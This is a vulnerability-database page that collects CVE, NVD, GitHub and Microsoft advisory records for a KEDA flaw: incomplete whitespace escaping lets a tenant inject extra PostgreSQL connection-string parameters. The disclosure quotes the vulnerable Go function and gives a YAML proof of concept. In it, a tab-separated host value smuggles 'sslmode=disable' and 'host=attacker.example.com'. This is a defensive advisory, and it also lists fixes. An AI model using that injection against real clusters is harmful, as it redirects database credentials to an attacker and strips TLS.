Vulnerability-Lookup

CVE-2026-53572 (GCVE-0-2026-53572)

Vulnerability from cvelistv5 – Published: 2026-08-21 20:11 – Updated: 2026-08-25 17:13

Title

KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping

Summary

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 17:13 UTC

CWE

CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M mitre root Scorecard

References

5 references

URL	Tags
https://github.com/kedacore/keda/security/advisor…	x_refsource_CONFIRM
https://github.com/kedacore/keda/issues/7784	x_refsource_MISC
https://github.com/kedacore/keda/pull/7787	x_refsource_MISC
https://github.com/kedacore/keda/commit/703de9dec…	x_refsource_MISC
https://github.com/kedacore/keda/releases/tag/v2.20.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
kedacore	keda	Affected: < 2.20.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-53572

Vulnerability from fkie_nvd - Published: 2026-08-21 21:16 - Updated: 2026-09-25 14:10

Severity

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/kedacore/keda/commit/703de9dec86cb25b6ecfa4948880a90487344d3f
	security-advisories@github.com	https://github.com/kedacore/keda/issues/7784
	security-advisories@github.com	https://github.com/kedacore/keda/pull/7787
	security-advisories@github.com	https://github.com/kedacore/keda/releases/tag/v2.20.0
	security-advisories@github.com	https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
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      "affectedData": [
        {
          "product": "keda",
          "vendor": "kedacore",
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    }
  ],
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  "lastModified": "2026-09-25T14:10:13.927",
  "metrics": {
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}

GHSA-6W3M-4HHP-775Q

Vulnerability from github – Published: 2026-07-07 23:44 – Updated: 2026-07-07 23:44

Summary

KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping

Details

Summary

pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:

func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, " ") {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, "'", "\\'")
    return fmt.Sprintf("'%s'", str)
}

The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code

pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.

Impact

Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can: - Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword. - Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.

Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.

Proof of concept

triggers:
- type: postgresql
  metadata:
    host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
    port: "5432"
    userName: "keda"
    dbName: "metrics"
    sslmode: "require"
    query: "SELECT 1"

After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.

Suggested fix

Escape / reject any ASCII whitespace (\t, \n, \r, \f, \v, space) and backslash.
Prefer the URI form (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding.
Validate each field against an allow-list pattern before use.

Resources

pkg/scalers/postgresql_scaler.go
libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kedacore/keda/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:44:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n    if !strings.Contains(str, \" \") {\n        return str       // returned as-is for any non-space whitespace\n    }\n    str = strings.ReplaceAll(str, \"\u0027\", \"\\\\\u0027\")\n    return fmt.Sprintf(\"\u0027%s\u0027\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155\u2013164 and 250\u2013257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only \u2014 silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration \u2014 injected `host=` still redirects the subsequent `password=` keyword\u0027s target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n  metadata:\n    host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n    port: \"5432\"\n    userName: \"keda\"\n    dbName: \"metrics\"\n    sslmode: \"require\"\n    query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space \u2192 returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING",
  "id": "GHSA-6w3m-4hhp-775q",
  "modified": "2026-07-07T23:44:13Z",
  "published": "2026-07-07T23:44:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kedacore/keda"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping"
}

MSRC_CVE-2026-53572

Vulnerability from csaf_microsoft - Published: 2026-08-23 01:03 - Updated: 2026-09-24 02:00

Summary

KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping

Scope

1 vulnerability in this advisory, including CVE-2026-53572.

CVE-2026-53572

5.9 (Medium)


                
                  CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

Known affected: 3 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-53572 (GCVE-0-2026-53572)

FKIE_CVE-2026-53572

GHSA-6W3M-4HHP-775Q

Summary

Vulnerable code

Impact

Proof of concept

Suggested fix

Resources

MSRC_CVE-2026-53572

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